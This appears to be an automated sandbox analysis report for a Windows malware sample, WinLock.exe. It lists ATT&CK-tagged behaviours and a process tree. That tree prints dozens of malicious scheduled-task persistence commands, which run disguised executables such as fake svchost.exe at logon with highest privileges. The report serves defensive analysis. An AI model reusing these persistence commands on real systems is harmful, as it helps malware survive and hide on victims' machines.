Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	psr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinLock.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	windowsdesktop-runtime-7.0.16-win-x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 57 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
8912	Process not Found
6364	Process not Found
11268	Process not Found
7572	Process not Found
2548	cmd.exe
10132	Process not Found
2936	Process not Found
11020	Process not Found
9252	Process not Found
7604	Process not Found
9644	Process not Found
10484	Process not Found
10452	Process not Found
13580	Process not Found
5304	Process not Found
8548	Process not Found
14184	Process not Found
6372	Process not Found
3316	Process not Found
15508	Process not Found
11056	Process not Found
13144	Process not Found
15264	Process not Found
10868	cmd.exe
12956	Process not Found
11252	Process not Found
11636	Process not Found
13108	Process not Found
8292	Process not Found
10132	cmd.exe
7472	cmd.exe
14512	cmd.exe
13996	Process not Found
6112	Process not Found
5612	Process not Found
15192	Process not Found
12908	Process not Found
14108	cmd.exe
6092	cmd.exe
12656	cmd.exe
10216	Process not Found
14780	cmd.exe
9920	cmd.exe
10336	Process not Found
10248	Process not Found
12176	Process not Found
12580	Process not Found
14800	Process not Found
13232	Process not Found
14996	Process not Found
15188	Process not Found
10020	Process not Found
7164	cmd.exe
5204	Process not Found
12668	Process not Found
13920	Process not Found
6056	cmd.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2664	taskkill.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe

Runs regedit.exe 4 IoCs

pid	Process
436	regedit.exe
16316	regedit.exe
15624	regedit.exe
7280	regedit.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
8780	Process not Found
13036	Process not Found
14664	Process not Found
7396	Process not Found
6772	Process not Found
15676	Process not Found
10152	Process not Found
8380	Process not Found
16028	Process not Found
13924	Process not Found
14800	Process not Found
2668	Process not Found
7324	schtasks.exe
15076	Process not Found
13164	Process not Found
9296	Process not Found
14020	Process not Found
1536	Process not Found
11388	Process not Found
15696	schtasks.exe
13668	Process not Found
9024	Process not Found
11812	Process not Found
6376	Process not Found
13564	Process not Found
11660	Process not Found
3736	Process not Found
15016	schtasks.exe
5360	Process not Found
16104	Process not Found
12780	Process not Found
880	Process not Found
11568	Process not Found
14004	schtasks.exe
10732	Process not Found
12976	Process not Found
6704	Process not Found
12796	Process not Found
11276	Process not Found
13404	Process not Found
3468	Process not Found
6640	schtasks.exe
11572	schtasks.exe
5244	schtasks.exe
15716	schtasks.exe
7276	Process not Found
15884	Process not Found
4840	Process not Found
14028	Process not Found
7404	Process not Found
8604	schtasks.exe
15800	schtasks.exe
4040	Process not Found
6960	schtasks.exe
6528	schtasks.exe
7248	Process not Found
9508	Process not Found
6276	Process not Found
12616	Process not Found
8400	schtasks.exe
11636	schtasks.exe
10152	schtasks.exe
3220	schtasks.exe
10476	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe
1432	WinLock.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	WinLock.exe
Token: SeDebugPrivilege	2664	taskkill.exe
Token: SeCreateGlobalPrivilege	6052	dwm.exe
Token: SeChangeNotifyPrivilege	6052	dwm.exe
Token: 33	6052	dwm.exe
Token: SeIncBasePriorityPrivilege	6052	dwm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1432	WinLock.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 1868	1432	WinLock.exe	105
PID 1432 wrote to memory of 3340	1432	WinLock.exe	106
PID 1432 wrote to memory of 4604	1432	WinLock.exe	107
PID 1432 wrote to memory of 3372	1432	WinLock.exe	109
PID 1432 wrote to memory of 4372	1432	WinLock.exe	110
PID 1432 wrote to memory of 4204	1432	WinLock.exe	112
PID 1432 wrote to memory of 1400	1432	WinLock.exe	113
PID 1432 wrote to memory of 1392	1432	WinLock.exe	114
PID 1432 wrote to memory of 3916	1432	WinLock.exe	115
PID 1432 wrote to memory of 3104	1432	WinLock.exe	116
PID 1432 wrote to memory of 3144	1432	WinLock.exe	119
PID 1432 wrote to memory of 2732	1432	WinLock.exe	122
PID 1432 wrote to memory of 4684	1432	WinLock.exe	125
PID 1432 wrote to memory of 3848	1432	WinLock.exe	126
PID 1432 wrote to memory of 4020	1432	WinLock.exe	128
PID 1432 wrote to memory of 5000	1432	WinLock.exe	129
PID 1432 wrote to memory of 3820	1432	WinLock.exe	130
PID 1432 wrote to memory of 2144	1432	WinLock.exe	132
PID 1432 wrote to memory of 4528	1432	WinLock.exe	133
PID 1432 wrote to memory of 4036	1432	WinLock.exe	135
PID 1432 wrote to memory of 4028	1432	WinLock.exe	136
PID 1432 wrote to memory of 2016	1432	WinLock.exe	146
PID 1432 wrote to memory of 2364	1432	WinLock.exe	147
PID 1432 wrote to memory of 3312	1432	WinLock.exe	148
PID 1432 wrote to memory of 2236	1432	WinLock.exe	149
PID 1432 wrote to memory of 2548	1432	WinLock.exe	150
PID 1432 wrote to memory of 836	1432	WinLock.exe	152
PID 1432 wrote to memory of 3208	1432	WinLock.exe	153
PID 1432 wrote to memory of 3844	1432	WinLock.exe	154
PID 1432 wrote to memory of 1404	1432	WinLock.exe	155
PID 1432 wrote to memory of 2232	1432	WinLock.exe	156
PID 1432 wrote to memory of 4108	1432	WinLock.exe	157
PID 1432 wrote to memory of 4468	1432	WinLock.exe	169
PID 1432 wrote to memory of 2304	1432	WinLock.exe	1696
PID 1432 wrote to memory of 2292	1432	WinLock.exe	171
PID 1432 wrote to memory of 4588	1432	WinLock.exe	1222
PID 1432 wrote to memory of 4836	1432	WinLock.exe	173
PID 1432 wrote to memory of 4448	1432	WinLock.exe	174
PID 1432 wrote to memory of 2664	1432	WinLock.exe	1364
PID 3340 wrote to memory of 6632	3340	cmd.exe	226
PID 4204 wrote to memory of 6640	4204	cmd.exe	227
PID 4372 wrote to memory of 6648	4372	cmd.exe	968
PID 3372 wrote to memory of 6656	3372	cmd.exe	1314
PID 1400 wrote to memory of 6664	1400	cmd.exe	230
PID 4528 wrote to memory of 6672	4528	cmd.exe	272
PID 5000 wrote to memory of 6684	5000	cmd.exe	846
PID 1868 wrote to memory of 6712	1868	cmd.exe	1865
PID 4468 wrote to memory of 6724	4468	cmd.exe	234
PID 4108 wrote to memory of 6752	4108	cmd.exe	235
PID 4604 wrote to memory of 6776	4604	cmd.exe	956
PID 3312 wrote to memory of 6784	3312	cmd.exe	737
PID 2732 wrote to memory of 6796	2732	cmd.exe	325
PID 3916 wrote to memory of 6804	3916	cmd.exe	239
PID 1392 wrote to memory of 6824	1392	cmd.exe	1250
PID 2232 wrote to memory of 6980	2232	cmd.exe	255
PID 3208 wrote to memory of 6988	3208	cmd.exe	256
PID 836 wrote to memory of 6996	836	cmd.exe	257
PID 2548 wrote to memory of 7004	2548	cmd.exe	1453
PID 3848 wrote to memory of 6860	3848	cmd.exe	244
PID 1404 wrote to memory of 6920	1404	cmd.exe	731
PID 4036 wrote to memory of 6952	4036	cmd.exe	2003
PID 2364 wrote to memory of 6960	2364	cmd.exe	1467
PID 3144 wrote to memory of 6840	3144	cmd.exe	1515
PID 3104 wrote to memory of 6848	3104	cmd.exe	243

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6724	attrib.exe
2368	attrib.exe
13980	attrib.exe
7524	attrib.exe
11192	attrib.exe
8064	attrib.exe
16240	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Modifies WinLogon for persistence
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dplaysvr_1" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dplaysvr_1" /tr ""C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_3" /tr ""C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_3" /tr ""C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_eventvwr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_eventvwr_5" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_6" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_6" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_7" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SndVol_8" /tr ""C:\ProgramData\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SndVol_8" /tr ""C:\ProgramData\MicrosoftService\SndVol.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_reg_10" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_reg_10" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesHardware_12" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesHardware_12" /tr ""C:\Users\Admin\AppData\Local\Publishers\Logs\SystemPropertiesHardware.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_at_13" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_at_13" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchWinApp_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchWinApp_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\LaunchWinApp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_16" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_stordiag_16" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\stordiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6684
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InfDefaultInstall_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3820
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InfDefaultInstall_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\InfDefaultInstall.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UserAccountBroker_18" /tr ""C:\ProgramData\Oracle\Logs\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UserAccountBroker_18" /tr ""C:\ProgramData\Oracle\Logs\UserAccountBroker.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_21" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4028
